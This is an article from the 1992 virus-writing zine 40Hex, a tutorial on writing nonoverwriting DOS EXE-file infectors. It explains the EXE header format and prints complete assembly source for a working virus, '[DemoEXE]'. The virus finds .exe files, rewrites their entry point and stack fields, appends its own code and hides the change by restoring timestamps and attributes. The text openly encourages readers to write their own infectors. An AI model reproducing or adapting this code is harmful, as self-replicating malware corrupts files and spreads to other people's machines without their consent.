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Text File | 1992-07-27 | 15KB | 323 lines

40Hex Number 8 Volume 2 Issue 4 File 007 ─────────────────────────────────────── An Introduction to Nonoverwriting Virii Part II: EXE Infectors By Dark Angel ─────────────────────────────────────── In the last issue of 40Hex, I presented theory and code for the nonoverwriting COM infector, the simplest of all parasitic virii. Hopefully, having learned COM infections cold, you are now ready for EXE infections. There is a grey veil covering the technique of EXE infections, as the majority of virii are COM-only. EXE infections are, in some respects, simpler than COM viruses. However, to understand the infection, you must understand the structure of EXE files (naturally). EXE files are structured into segments which are loaded consecutively atop one another. Thus, all an EXE infector must do is create its own segment in the EXE file and alter the entry point appropriately. Therefore, EXE infections do not require restoration of bytes of code, but rather involve the manipulation of the header which appears in the beginning every EXE file and the appending of viral code to the infected file. The format of the header follows: Offset Description 00 ID word, either 'MZ' or 'ZM' 02 Number of bytes in the last (512 byte) page in the image 04 Total number of 512 byte pages in the file 06 Number of entries in the segment table 08 Size of the header in (16 byte) paragraphs 0A Minimum memory required in paragraphs 0C Maximum memory requested in paragraphs 0E Initial offset in paragraphs to stack segment from header 10 Initial offset in bytes of stack pointer from stack segment 12 Negative checksum (ignored) 14 Initial offset in bytes of instruction pointer from code segment 16 Initial offset in paragraphs of code segment from header 18 Offset of relocation table from start of file 1A Overlay number (ignored) The ID word is generally 'ZM' (in the Intel little-endian format). Few files start with the alternate form, 'MZ' (once again in Intel little- endian format). To save space, a check for the alternate form of the EXE ID in the virus may be omitted, although a few files may be corrupted due to this omission. The words at offsets 2 and 4 are related. The word at offset 4 contains the filesize in pages. A page is a 512 byte chunk of memory, just as a word is a two byte chunk of memory. This number is rounded up, so a file of length 514 bytes would contain a 2 at offset 4 in the EXE header. The word at offset 2 is the image length modulo 512. The image length does not include the header length. This is one of the bizarre quirks of the EXE header. Since the header length is usually a multiple of 512 anyway, this quirk usually does not matter. If the word at offset 2 is equal to four, then it is generally ignored (heck, it's never really used anyway) since pre-1.10 versions of the Microsoft linker had a bug which caused the word to always be equal to four. If you are bold, the virus can set this word to 4. However, keep in mind that this was a bug of the linker and not all command interpreters may recognise this quirk. The minimum memory required by the program (offset A) can be ignored by the virus, as the maximum memory is generally allocated to the program by the operating system. However, once again, ignoring this area of the header MAY cause an unsucessful infection. Simply adding the virus size in paragraphs to this value can nullify the problem. The words representing the initial stack segment and pointer are reversed (not in little-endian format). In other words, an LES to this location will yield the stack pointer in ES and the stack segment in another register. The initial SS:SP is calculated with the base address of 0000:0000 being at the end of the header. Similarly, the initial CS:IP (in little-endian format) is calculated with the base address of 0000:0000 at the end of the header. For example, if the program entry point appears directly after the header, then the CS:IP would be 0000:0000. When the program is loaded, the PSP+10 is added to the segment value (the extra 10 accounts for the 100h bytes of the PSP). All the relevant portions of the EXE header have been covered. So what should be done to write a nonoverwriting EXE infector? First, the virus must be appended to the end of the file. Second, the initial CS:IP must be saved and subsequently changed in the header. Third, the initial SS:SP should also be saved and changed. This is to avoid any possible memory conflicts from the stack overwriting viral code. Fourth, the file size area of the header should be modified to correctly reflect the new size of the file. Fifth, any additional safety modifications such as increasing the minimum memory allocation should be made. Last, the header should be written to the infected file. There are several good areas for ID bytes in the EXE header. The first is in the stack pointer field. Since it should be changed anyway, changing it to a predictable number would add nothing to the code length. Make sure, however, to make the stack pointer high enough to prevent code overwrites. Another common area for ID bytes is in the negative checksum field. Since it is an unused field, altering it won't affect the execution of any programs. One further item should be mentioned before the code for the EXE infector. It is important to remember that EXE files are loaded differently than COM files. Although a PSP is still built, the initial CS does NOT point to it. Instead, it points to wherever the entry point happens to be. DS and ES point to the PSP, and therefore do NOT point to the entry point (your virus code). It is important to restore DS and ES to their proper values before returning control to the EXE. ----cut here--------------------------------------------------------------- .model tiny ; Handy TASM directive .code ; Virus code segment org 100h ; COM file starting IP ; Cheesy EXE infector ; Written by Dark Angel of PHALCON/SKISM ; For 40Hex Number 8 Volume 2 Issue 4 id = 'DA' ; ID word for EXE infections startvirus: ; virus code starts here call next ; calculate delta offset next: pop bp ; bp = IP next sub bp,offset next ; bp = delta offset push ds push es push cs ; DS = CS pop ds push cs ; ES = CS pop es lea si,[bp+jmpsave2] lea di,[bp+jmpsave] movsw movsw movsw movsw mov ah,1Ah ; Set new DTA lea dx,[bp+newDTA] ; new DTA @ DS:DX int 21h lea dx,[bp+exe_mask] mov ah,4eh ; find first file mov cx,7 ; any attribute findfirstnext: int 21h ; DS:DX points to mask jc done_infections ; No mo files found mov al,0h ; Open read only call open mov ah,3fh ; Read file to buffer lea dx,[bp+buffer] ; @ DS:DX mov cx,1Ah ; 1Ah bytes int 21h mov ah,3eh ; Close file int 21h checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? jnz infect_exe find_next: mov ah,4fh ; find next file jmp short findfirstnext done_infections: mov ah,1ah ; restore DTA to default mov dx,80h ; DTA in PSP pop es pop ds ; DS->PSP int 21h mov ax,es ; AX = PSP segment add ax,10h ; Adjust for PSP add word ptr cs:[si+jmpsave+2],ax add ax,word ptr cs:[si+stacksave+2] cli ; Clear intrpts for stack manip. mov sp,word ptr cs:[si+stacksave] mov ss,ax sti db 0eah ; jmp ssss:oooo jmpsave dd ? ; Original CS:IP stacksave dd ? ; Original SS:SP jmpsave2 dd 0fff00000h ; Needed for carrier file stacksave2 dd ? creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0 virusname db '[DemoEXE] for 40Hex',0 infect_exe: les ax, dword ptr [bp+buffer+14h] ; Save old entry point mov word ptr [bp+jmpsave2], ax mov word ptr [bp+jmpsave2+2], es les ax, dword ptr [bp+buffer+0Eh] ; Save old stack mov word ptr [bp+stacksave2], es mov word ptr [bp+stacksave2+2], ax mov ax, word ptr [bp+buffer + 8] ; Get header size mov cl, 4 ; convert to bytes shl ax, cl xchg ax, bx les ax, [bp+offset newDTA+26]; Get file size mov dx, es ; to DX:AX push ax push dx sub ax, bx ; Subtract header size from sbb dx, 0 ; file size mov cx, 10h ; Convert to segment:offset div cx ; form mov word ptr [bp+buffer+14h], dx ; New entry point mov word ptr [bp+buffer+16h], ax mov word ptr [bp+buffer+0Eh], ax ; and stack mov word ptr [bp+buffer+10h], id pop dx ; get file length pop ax add ax, heap-startvirus ; add virus size adc dx, 0 mov cl, 9 ; 2**9 = 512 push ax shr ax, cl ror dx, cl stc adc dx, ax ; filesize in pages pop ax and ah, 1 ; mod 512 mov word ptr [bp+buffer+4], dx ; new file size mov word ptr [bp+buffer+2], ax push cs ; restore ES pop es mov cx, 1ah finishinfection: push cx ; Save # bytes to write xor cx,cx ; Clear attributes call attributes ; Set file attributes mov al,2 call open mov ah,40h ; Write to file lea dx,[bp+buffer] ; Write from buffer pop cx ; cx bytes int 21h mov ax,4202h ; Move file pointer xor cx,cx ; to end of file cwd ; xor dx,dx int 21h mov ah,40h ; Concatenate virus lea dx,[bp+startvirus] mov cx,heap-startvirus ; # bytes to write int 21h mov ax,5701h ; Restore creation date/time mov cx,word ptr [bp+newDTA+16h] ; time mov dx,word ptr [bp+newDTA+18h] ; date int 21h mov ah,3eh ; Close file int 21h mov ch,0 mov cl,byte ptr [bp+newDTA+15h] ; Restore original call attributes ; attributes mo_infections: jmp find_next open: mov ah,3dh lea dx,[bp+newDTA+30] ; filename in DTA int 21h xchg ax,bx ret attributes: mov ax,4301h ; Set attributes to cx lea dx,[bp+newDTA+30] ; filename in DTA int 21h ret exe_mask db '*.exe',0 heap: ; Variables not in code newDTA db 42 dup (?) ; Temporary DTA buffer db 1ah dup (?) ; read buffer endheap: ; End of virus end startvirus ----cut here--------------------------------------------------------------- This is a simple EXE infector. It has limitations; for example, it does not handle misnamed COM files. This can be remedied by a simple check: cmp [bp+buffer],'ZM' jnz misnamed_COM continueEXE: Take special notice of the done_infections and infect_exe procedures. They handle all the relevant portions of the EXE infection. The restoration of the EXE file simply consists of resetting the stack and a far jmp to the original entry point. A final note on EXE infections: it is often helpful to "pad" EXE files to the nearest segment. This accomplishes two things. First, the initial IP is always 0, a fact which can be used to eliminate delta offset calculations. Code space can be saved by replacing all those annoying relative memory addressing statements ([bp+offset blip]) statements with their absolute counterparts (blip). Second, recalculation of header info can be handled in paragraphs, simplifying it tremendously. The code for this is left as an exercise for the reader. This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have yet to figure out how to write EXE infectors). Hopefully, this text can teach them (and everyone else) how to progress beyond simple COM and spawn- ing EXE infectors. In the next issue of 40Hex, I will present the theory and code for the next step of file infector - the coveted SYS file.